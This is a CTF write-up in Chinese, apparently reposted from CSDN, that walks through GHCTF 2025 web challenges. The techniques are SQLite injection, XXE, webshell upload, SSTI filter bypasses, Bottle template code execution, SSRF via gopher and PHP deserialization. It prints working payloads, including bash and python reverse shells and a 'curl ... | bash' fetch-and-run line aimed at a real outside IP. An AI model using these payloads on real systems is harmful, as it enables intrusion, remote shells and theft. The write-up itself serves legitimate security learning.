关注

GHCTF 2025 web 萌新初探wp

ctf萌新第一次写wp,如有错误请师傅们指出

[GHCTF 2025]SQL???

打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。

sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。

查字段数
 ?id=1 union select 1,2,3,4,5

查表名和列名

 ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;

查询数据

 ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

得到flag

官方wp

查字段数
 id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

[GHCTF 2025](>﹏<)

打开是一段代码

 from flask import Flask,request
 import base64
 from lxml import etree
 import re
 app = Flask(__name__)
 ​
 @app.route('/')
 def index():
     return open(__file__).read()
 ​
 ​
 @app.route('/ghctf',methods=['POST'])
 def parse():
     xml=request.form.get('xml')
     print(xml)
     if xml is None:
         return "No System is Safe."
     parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
     root = etree.fromstring(xml, parser)
     name=root.find('name').text
     return name or None
 ​
 ​
 ​
 if __name__=="__main__":
     app.run(host='0.0.0.0',port=8080)

看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。

我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。

尝试在ghctf路由下post传入xml的值

 <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>

发现无法传入,我们尝试抓包上传

直接上传的话会报500错误,我们需要把xml的值url编码一下再上传

拿到flag

官方wp

 <?xml version="1.0"?>
 <!DOCTYPE test[
 <!ENTITY nn SYSTEM "file:///flag">
 ]>
 <user>
 <name>&nn;</name>
 <age>18</age>
 </user>

[GHCTF 2025]UPUPUP

这个题我不会,直接看官方wp

官方wp

考点:getimagesize和exif_imagetype绕过

apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

.htacess
 #define width 1
 #define height 1
 <FilesMatch "hey.hey">
 SetHandler application/x-httpd-php
 </FilesMatch>

然后上传hey.hey,content-type是image/jpeg

 #define width 1
 #define height 1
 <?php eval($_REQUEST[1]);?>

蚁剑连接查看flag即可

[GHCTF 2025]ez_readfile

打开是一段代码

  <?php
   show_source(__FILE__);
   if (md5($_POST['a']) === md5($_POST['b'])) {
       if ($_POST['a'] != $_POST['b']) {
           if (is_string($_POST['a']) && is_string($_POST['b'])) {
               echo file_get_contents($_GET['file']);
           }
       }
   }
 ?> 

三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符

fastcoll的用法

我们找到fastcoll文件路径,找到fastcoll.exe

我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1

然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式

 <?php
 class CDUTSEC{
     public $var1;
     public $var2;
 }
 ​
 $tr = new CDUTSEC();
 $tr->var1 = file_get_contents('E:\\1_msg1.txt');          
 $tr->var2 = file_get_contents('E:\\1_msg2.txt');
 ​
 echo urlencode($tr->var1);
 echo "\n\n";
 echo urlencode($tr->var2);

修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值

然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足

这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。

可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。

这里用到的知识点是CVE-2024-2961漏洞,即file_get_contents文件读取rce漏洞

我们可以利用脚本将这里的文件读取变成任意命令执行。

这里我们需要用到两个文件,通过任意文件下载获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运

行脚本即可生成php://filter/的RCE payload

maps文件路径就是/proc/self/maps,而libc-2.x.so文件的路径在maps文件里面,我们在maps文件中搜索libc-2,查看文件路径。由于直接访问so文件读出来是乱码,所以可以filter协议base64格式读取,然后cyberchef解base64编码直接下载解码文件用就可以。

这里我们需要修改三个地方,第一个是第338行的maps,把保存的maps.txt文件保存到和脚本同一目录下,改成我们本地的maps文件的名字。第二个就是cmd的值,这里是一个反弹shell的命令,我们也可以将一句话木马写入shell.php访问。第三个就是352行的so文件的名字,同样的把下载的文件放在和脚本同一目录下,修改名字,然后就可以运行了,得到payload,运行,读取flag。

官方wp(非预期解法)

阅读官方wp后我了解到这种题有一种非预期解法,那就是敏感文件读取。这里引用一下wp的原话。

有出过题的,⼤部分都是采⽤GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags 这⾥⾯的模版。⼀般出题过程中,为了⽅便,不去修改dockerfile⽂件,都会直接在容器内修改,然后再 commit⽣成镜像。 ⾥⾯的php出题模版中,有⼀个容器启动命令⽂件docker-entrypoint.sh。可以看到该命令⽂件在容器初 始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了 ⽅便可能就不删除该⽂件,这时候就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就 能够获取路径。

所以我们可以直接访问docker-entrypoint.sh文件,看一下能不能直接找到flag文件储存的位置。

这里读到了flag的储存位置,我们直接访问

成功拿到flag。

[GHCTF 2025]upload?SSTI!

打开靶机是一个文件上传页面,题目提示是ssti,所以我们开始找注入点,文件上传ssti常见注入点是文件名和文件内容。我们尝试上传t1.txt文件,文件内容是{{2*2}},发现上传成功,路径是/app/static/uploads/1.txt,但是这个路径我们好像并不能直接访问。这个题还有一个附件刚才没注意,我们下载附件查看一下发现是源码,我们看到render_template_string是ssti漏洞点,往上面找/file目录下的文件是我们要读的文件。我们读取/file/1.txt,页面回显4,确定存在ssti漏洞,但是源码中过滤了很多东西,这里我们使用过滤器来进行绕过。

 1.绕过了下划线,我们利用select|string绕过
 {%set xhx=({}|select()|string())[24]%}
 2.过滤了os,我们利用dict拼接绕过
 {%set o=dict(o=1,s=2)|join%}
 3.过滤了subclasses,我们同样利用dict拼接绕过,但是ssti注入时格式是__subclasses__,所以要用到xhx绕过的下划线
 {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
 4.其他同理

这样一来我们得到了一长串可以进行绕过的过滤器

 {%set xhx=({}|select()|string())[24]%}
 {%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
 {%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
 {%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
 {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
 {%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
 {%set pop="nepop"|reverse%}
 {%set o=dict(o=1,s=2)|join%}
 {{config[ini][glo][o][pop]("cat /fla*").read()}}

上传访问/file/1.txt得到flag

官方wp

官方给出的wp是利用request.args来绕过

 {{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
 ?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__

[GHCTF 2025]Message in a Bottle

一个留言板,刚开始以为是xss漏洞,尝试alert也确实弹窗,但是一顿操作下来发现xss漏洞无法获取flag,我们看一下附件带的源代码

 from bottle import Bottle, request, template, run
 ​
 ​
 app = Bottle()
 ​
 # 存储留言的列表
 messages = []
 def handle_message(message):
     message_items = "".join([f"""
         <div class="message-card">
             <div class="message-content">{msg}</div>
             <small class="message-time">#{idx + 1} - 刚刚</small>
         </div>
     """ for idx, msg in enumerate(message)])
 ​
     board = f"""<!DOCTYPE html>
     <html lang="zh">
     <head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width, initial-scale=1.0">
         <title>简约留言板</title>
         <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
          <style>
             :root {{
                 --primary-color: #4a90e2;
                 --hover-color: #357abd;
                 --background-color: #f8f9fa;
                 --card-background: #ffffff;
                 --shadow-color: rgba(0, 0, 0, 0.1);
             }}
 ​
             body {{
                 background: var(--background-color);
                 min-height: 100vh;
                 padding: 2rem 0;
                 font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
             }}
 ​
             .container {{
                 max-width: 800px;
                 background: var(--card-background);
                 border-radius: 15px;
                 box-shadow: 0 4px 6px var(--shadow-color);
                 padding: 2rem;
                 margin-top: 2rem;
                 animation: fadeIn 0.5s ease-in-out;
             }}
 ​
             @keyframes fadeIn {{
                 from {{ opacity: 0; transform: translateY(20px); }}
                 to {{ opacity: 1; transform: translateY(0); }}
             }}
 ​
             .message-card {{
                 background: var(--card-background);
                 border-radius: 10px;
                 padding: 1.5rem;
                 margin: 1rem 0;
                 transition: all 0.3s ease;
                 border-left: 4px solid var(--primary-color);
                 box-shadow: 0 2px 4px var(--shadow-color);
             }}
 ​
             .message-card:hover {{
                 transform: translateX(10px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             .message-content {{
                 font-size: 1.1rem;
                 color: #333;
                 line-height: 1.6;
                 margin-bottom: 0.5rem;
             }}
 ​
             .message-time {{
                 color: #6c757d;
                 font-size: 0.9rem;
                 display: block;
                 margin-top: 0.5rem;
             }}
 ​
             textarea {{
                 width: 100%;
                 height: 120px;
                 padding: 1rem;
                 border: 2px solid #e9ecef;
                 border-radius: 10px;
                 resize: vertical;
                 font-size: 1rem;
                 transition: border-color 0.3s ease;
             }}
 ​
             textarea:focus {{
                 border-color: var(--primary-color);
                 outline: none;
                 box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
             }}
 ​
             .btn-custom {{
                 background: var(--primary-color);
                 color: white;
                 padding: 0.8rem 2rem;
                 border-radius: 10px;
                 border: none;
                 transition: all 0.3s ease;
                 font-weight: 500;
                 text-transform: uppercase;
                 letter-spacing: 0.05rem;
             }}
 ​
             .btn-custom:hover {{
                 background: var(--hover-color);
                 transform: translateY(-2px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             h1 {{
                 color: var(--primary-color);
                 text-align: center;
                 margin-bottom: 2rem;
                 font-weight: 600;
                 font-size: 2.5rem;
                 text-shadow: 2px 2px 4px var(--shadow-color);
             }}
 ​
             .btn-danger {{
                 transition: all 0.3s ease;
                 padding: 0.6rem 1.5rem;
                 border-radius: 10px;
                 text-transform: uppercase;
                 letter-spacing: 0.05rem;
             }}
 ​
             .btn-danger:hover {{
                 transform: translateY(-2px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             .text-muted {{
                 font-style: italic;
                 color: #6c757d !important;
             }}
 ​
             @media (max-width: 576px) {{
                 h1 {{
                     font-size: 2rem;
                 }}
                 .container {{
                     padding: 1.5rem;
                 }}
                 .message-card {{
                     padding: 1rem;
                 }}
             }}
         </style>
     </head>
     <body>
         <div class="container">
             <div class="d-flex justify-content-between align-items-center mb-4">
                 <h1 class="mb-0">📝 简约留言板</h1>
                 <a 
                     href="/Clean" 
                     class="btn btn-danger"
                     onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                 >
                     🗑️ 一键清理
                 </a>
             </div>
 ​
             <form action="/submit" method="post">
                 <textarea 
                     name="message" 
                     placeholder="输入payload暴打出题人"
                     required
                 ></textarea>
                 <div class="d-grid gap-2">
                     <button type="submit" class="btn-custom">发布留言</button>
                 </div>
             </form>
 ​
             <div class="message-list mt-4">
                 <div class="d-flex justify-content-between align-items-center mb-3">
                     <h4 class="mb-0">最新留言({len(message)}条)</h4>
                     {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                 </div>
                 {message_items}
             </div>
         </div>
     </body>
     </html>"""
     return board
 ​
 ​
 ​
 def waf(message):
     return message.replace("{", "").replace("}", "")
 ​
 ​
 @app.route('/')
 def index():
     return template(handle_message(messages))
 ​
 ​
 @app.route('/Clean')
 def Clean():
     global messages
     messages = []
     return '<script>window.location.href="/"</script>'
 ​
 @app.route('/submit', method='POST')
 def submit():
     message = waf(request.forms.get('message'))
     messages.append(message)
     return template(handle_message(messages))
 ​
 ​
 if __name__ == '__main__':
     run(app, host='localhost', port=9000)

看最后就可以了,源码可以看出这是一个以bottle为模板的ssti漏洞,并且过滤了大括号。

ssti好说,过滤这个大括号就难办很多,经过多次尝试绕过无果,遂查找bottle官方文档

https://bottlepy.org/docs/dev/stpl.html#embedded-python-code

可以看到没有大括号的情况下依旧有办法执行python代码

 <div>
  % if True:
   <span>content</span>
  % end
 </div>

由于if判断有一个特性:

if语句在模板渲染时必定会执行条件表达式(无论条件真假)

也就是说只要把代码写在if后面就一定能执行写入的代码

我们导入os模块

 <div>
  % if __import__('os').popen('sleep 4').read():
   123
  % end
 </div>

看到页面确实停顿了四秒,命令成功执行,我们尝试读取目录文件

 <div>
  % if __import__('os').popen('ls /').read():
   123
  % end
 </div>

没有回显,只能尝试反弹shell

在自己的服务器监听6666端口

 nc -lvn 6666

然后传入payload

 <div>
  % if __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/6666  0>&1'").read():
   123
  % end
 </div>

服务器成功弹到shell

然后就可以读取根目录文件,找到flag

另一种解法

在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码。

这样就可以绕过 { 了,但是我们的 % 所在的那⼀⾏ % 的前面只能有空白字符,我们直接换行即可

 
% __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/4444  0>&1'").read()
 

弹到shell,读取flag

官方wp

同样是嵌入python代码,在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码,但是%所在的那一行的前面只能有空白字符,我们直接换行即可

 ​
 %__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

[GHCTF 2025]GetShell

特别长一串代码,直接扔给ai,给出payload: action=run&input=xxx

input后面的内容是可以执行的,我们尝试ls /;,发现空格过滤,绕过一下

有回显,尝试cat /flag,不出意外是没有回显的,尝试反弹shell。一番操作下来直接在input写bash好像不行,那就先在input这里写一个马,然后马文件下再写反弹shell

首先在服务器终端输入

 python3 -m http.server 2333

开放2333端口,使文件可以被访问,然后在靶机传入

 ?action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbMF0pO3BocGluZm8oKTs/Pg=="|${IFS}base64${IFS}-d>1.php

把一句话马写进1.php,访问这个文件,检查一句话木马是否能用,然后准备反弹shell

新开一个服务器终端,输入

 nc -lvn 4444

开放4444端口

在1.php页面下post传入

 0=system("curl http://123.56.103.169:6666/1.txt|bash");

查看服务器终端是否成功弹到shell

出现connection即为反弹成功,尝试读取flag,发现没有权限访问,我们这里进行suid提权

首先find寻找有root权限的文件

 find / -perm -4000 2>/dev/null

看到wc文件,利用这个文件读flag

我们先

 /var/www/html/wc --help

发现指令

 /var/www/html/wc --files0-from=/flag

拿到flag

[GHCTF 2025]Goph3rrr

dirsearch扫出来源码,代码审计发现是一个ssrf漏洞

由于Manage路由下post传入cmd能在os模块中执行命令,这里就是我们要利用的点,我们先在Manage路由下抓一个post包,令cmd=env直接看环境变量

然后因为我们要利用gopher协议,所以这里准备构造post文件头

 POST /Manage HTTP/1.1
 Host: 127.0.0.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 7
 ​
 cmd=env
 ​

然后在Gopher路由下抓一个get包,打gopher协议

然后这里进行url编码时要注意了,post后面的内容直接两次url编码打不通,经过大佬点拨才知道编码方式

所以先编码下划线后面的部分,再编码url=后面的部分,我们一步一步来

第一步

第二步

发送请求包,得到flag

官方wp

 GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
 F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
 m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
 Host: node2.anna.nssctf.cn:28301
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/2010
 0101 Firefox/136.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
 0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741
 254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HM
 ACCOUNT=CAF3E7684A636B01
 Upgrade-Insecure-Requests: 1
 Priority: u=0, i

不过不知道为什么官方wp我打不通

[GHCTF 2025]Popppppp

很明显的php反序列化,开始寻找链尾

一脸懵逼的找了一圈没找到平常要找的类似eval的能执行命令的地方,这个题我直接在开头卡住了

后来经过师哥提示这个题的做法是php原生类反序列化

参考文章

CTF中PHP原生类的妙用 | X1ong

从文章里我们可以看到两个原生类,一个是列出目录文件类,一个是读取文件内容类,二者代码差不多,我们跟这道题来对比一下

 <?php
 highlight_file(__FILE__);
 $dir = $_GET['x1ongsec'];
 $obj = new DirectoryIterator($dir);
 foreach ($obj as $file) {
     echo $file->__toString() . "</br>";
 }

本题关键部分源码

 class Mystery {
 ​
     public function __get($arg1) {
         array_walk($this, function ($day1, $day2) {
             $day3 = new $day2($day1);
             foreach ($day3 as $day4) {
                 echo ($day4 . '<br>');
             }
         });
     }
 } 

可以看到

 $obj = new DirectoryIterator($dir);
 foreach ($obj as $file) {
     echo $file->__toString() . "</br>";
     
 $day3 = new $day2($day1);
             foreach ($day3 as $day4) {
                 echo ($day4 . '<br>');

很明显day2=DirectoryIterator,day1=要查看的文件的路径

由于本题中day1和day2的值由array_walk的结果决定,array_walk对当前类进行遍历,所以我们要在当前类添加一个public属性,这样一来属性名就是day2,属性内容就是day1。

所以我们添加一个

 public $DirectoryIterator='/';

就可以利用这个原生类来查看文件目录了

但是这样还不够,我们从链尾开始顺着网上找发现Philosopher类有一个md5弱类型比较需要绕过

fruit11经过两次md5加密需要于666弱比较相等,所以fruit11经过两次md5加密后只要以666+字母开头的形式就可以了,直接丢给ai让他写脚本,然后我们在纯数字里寻找因为这样找的快,很快跑出来213符合条件,我们令fruit11=213,剩下的链子就很清晰了

payload

运行提交

找到flag存在的文件,我们用另一个原生类读取,用法也很简单

把DirectoryIterator改成SplFileObject即可,提交payload

拿到flag

转载自CSDN-专业IT技术社区

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/Python1111111/article/details/146158318

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--